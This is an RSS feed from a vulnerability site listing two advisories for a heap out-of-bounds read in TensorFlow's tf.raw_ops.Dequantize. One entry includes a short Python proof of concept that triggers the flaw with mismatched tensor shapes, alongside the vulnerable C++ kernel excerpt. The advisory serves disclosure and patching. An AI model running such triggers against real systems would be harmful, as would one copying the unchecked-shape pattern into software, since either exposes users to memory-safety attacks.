<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" version="2.0">
  <channel>
    <title>Most recent entries from all</title>
    <link>https://cve.radiocsirt.org</link>
    <description>Contains only the most 10 recent entries.</description>
    <docs>http://www.rssboard.org/rss-specification</docs>
    <generator>python-feedgen</generator>
    <language>en</language>
    <lastBuildDate>Sun, 25 Oct 2026 19:09:29 +0000</lastBuildDate>
    <item>
      <title>CVE-2021-29582 — Heap OOB read in `tf.raw_ops.Dequantize`</title>
      <link>https://cve.radiocsirt.org/vuln/cve-2021-29582</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; tensorflow&lt;/p&gt;
&lt;p&gt;TensorFlow is an end-to-end open source platform for machine learning. Due to lack of validation in `tf.raw_ops.Dequantize`, an attacker can trigger a read from outside of bounds of heap allocated data. The implementation(https://github.com/tensorflow/tensorflow/blob/26003593aa94b1742f34dc22ce88a1e17776a67d/tensorflow/core/kernels/dequantize_op.cc#L106-L131) accesses the `min_range` and `max_range` tensors in parallel but fails to check that they have the same shape. The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; tensorflow&lt;/p&gt;
&lt;p&gt;TensorFlow is an end-to-end open source platform for machine learning. Due to lack of validation in `tf.raw_ops.Dequantize`, an attacker can trigger a read from outside of bounds of heap allocated data. The implementation(https://github.com/tensorflow/tensorflow/blob/26003593aa94b1742f34dc22ce88a1e17776a67d/tensorflow/core/kernels/dequantize_op.cc#L106-L131) accesses the `min_range` and `max_range` tensors in parallel but fails to check that they have the same shape. The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/cve-2021-29582</guid>
    </item>
    <item>
      <title>GHSA-c45w-2wxr-pp53 — Heap OOB read in `tf.raw_ops.Dequantize`</title>
      <link>https://cve.radiocsirt.org/vuln/ghsa-c45w-2wxr-pp53</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; PyPI: tensorflow, PyPI: tensorflow-cpu, PyPI: tensorflow-gpu&lt;/p&gt;
&lt;p&gt;### Impact
Due to lack of validation in `tf.raw_ops.Dequantize`, an attacker can trigger a read from outside of bounds of heap allocated data:&lt;/p&gt;
&lt;p&gt;```python
import tensorflow as tf&lt;/p&gt;
&lt;p&gt;input_tensor=tf.constant(
  [75, 75, 75, 75, -6, -9, -10, -10, -10, -10, -10, -10, -10, -10, -10, -10,\
  -10, -10, -10, -10, -10, -10, -10, -10, -10, -10, -10, -10, -10, -10, -10,\
  -10, -10, -10, -10, -10, -10, -10, -10, -10, -10, -10, -10, -10, -10, -10,\
  -10, -10, -10, -10], shape=[5, 10], dtype=tf.int32)
input_tensor=tf.cast(input_tensor, dtype=tf.quint8)
min_range = tf.constant([-10], shape=[1], dtype=tf.float32)
max_range = tf.constant([24, 758, 758, 758, 758], shape=[5], dtype=tf.float32)
  
tf.raw_ops.Dequantize( 
  input=input_tensor, min_range=min_range, max_range=max_range, mode=&amp;#39;SCALED&amp;#39;,
  narrow_range=True, axis=0, dtype=tf.dtypes.float32)
```&lt;/p&gt;
&lt;p&gt;The [implementation](https://github.com/tensorflow/tensorflow/blob/26003593aa94b1742f34dc22ce88a1e17776a67d/tensorflow/core/kernels/dequantize_op.cc#L106-L131) accesses the `min_range` and `max_range` tensors in parallel but fails to check that they have the same shape:&lt;/p&gt;
&lt;p&gt;```cc
if (num_slices == 1) {
  const float min_range = input_min_tensor.flat&amp;lt;float&amp;gt;()(0);
  const float max_range = input_max_tensor.flat&amp;lt;float&amp;gt;()(0);
  DequantizeTensor(ctx, input, min_range, max_range, &amp;amp;float_output);
} else {
  ...
  auto min_ranges = input_min_tensor.vec&amp;lt;float&amp;gt;();
  auto max_ranges = input_max_tensor.vec&amp;lt;float&amp;gt;();
  for (int i = 0; i &amp;lt; num_slices; ++i) {…&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; PyPI: tensorflow, PyPI: tensorflow-cpu, PyPI: tensorflow-gpu&lt;/p&gt;
&lt;p&gt;### Impact
Due to lack of validation in `tf.raw_ops.Dequantize`, an attacker can trigger a read from outside of bounds of heap allocated data:&lt;/p&gt;
&lt;p&gt;```python
import tensorflow as tf&lt;/p&gt;
&lt;p&gt;input_tensor=tf.constant(
  [75, 75, 75, 75, -6, -9, -10, -10, -10, -10, -10, -10, -10, -10, -10, -10,\
  -10, -10, -10, -10, -10, -10, -10, -10, -10, -10, -10, -10, -10, -10, -10,\
  -10, -10, -10, -10, -10, -10, -10, -10, -10, -10, -10, -10, -10, -10, -10,\
  -10, -10, -10, -10], shape=[5, 10], dtype=tf.int32)
input_tensor=tf.cast(input_tensor, dtype=tf.quint8)
min_range = tf.constant([-10], shape=[1], dtype=tf.float32)
max_range = tf.constant([24, 758, 758, 758, 758], shape=[5], dtype=tf.float32)
  
tf.raw_ops.Dequantize( 
  input=input_tensor, min_range=min_range, max_range=max_range, mode=&amp;#39;SCALED&amp;#39;,
  narrow_range=True, axis=0, dtype=tf.dtypes.float32)
```&lt;/p&gt;
&lt;p&gt;The [implementation](https://github.com/tensorflow/tensorflow/blob/26003593aa94b1742f34dc22ce88a1e17776a67d/tensorflow/core/kernels/dequantize_op.cc#L106-L131) accesses the `min_range` and `max_range` tensors in parallel but fails to check that they have the same shape:&lt;/p&gt;
&lt;p&gt;```cc
if (num_slices == 1) {
  const float min_range = input_min_tensor.flat&amp;lt;float&amp;gt;()(0);
  const float max_range = input_max_tensor.flat&amp;lt;float&amp;gt;()(0);
  DequantizeTensor(ctx, input, min_range, max_range, &amp;amp;float_output);
} else {
  ...
  auto min_ranges = input_min_tensor.vec&amp;lt;float&amp;gt;();
  auto max_ranges = input_max_tensor.vec&amp;lt;float&amp;gt;();
  for (int i = 0; i &amp;lt; num_slices; ++i) {…&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/ghsa-c45w-2wxr-pp53</guid>
    </item>
  </channel>
</rss>
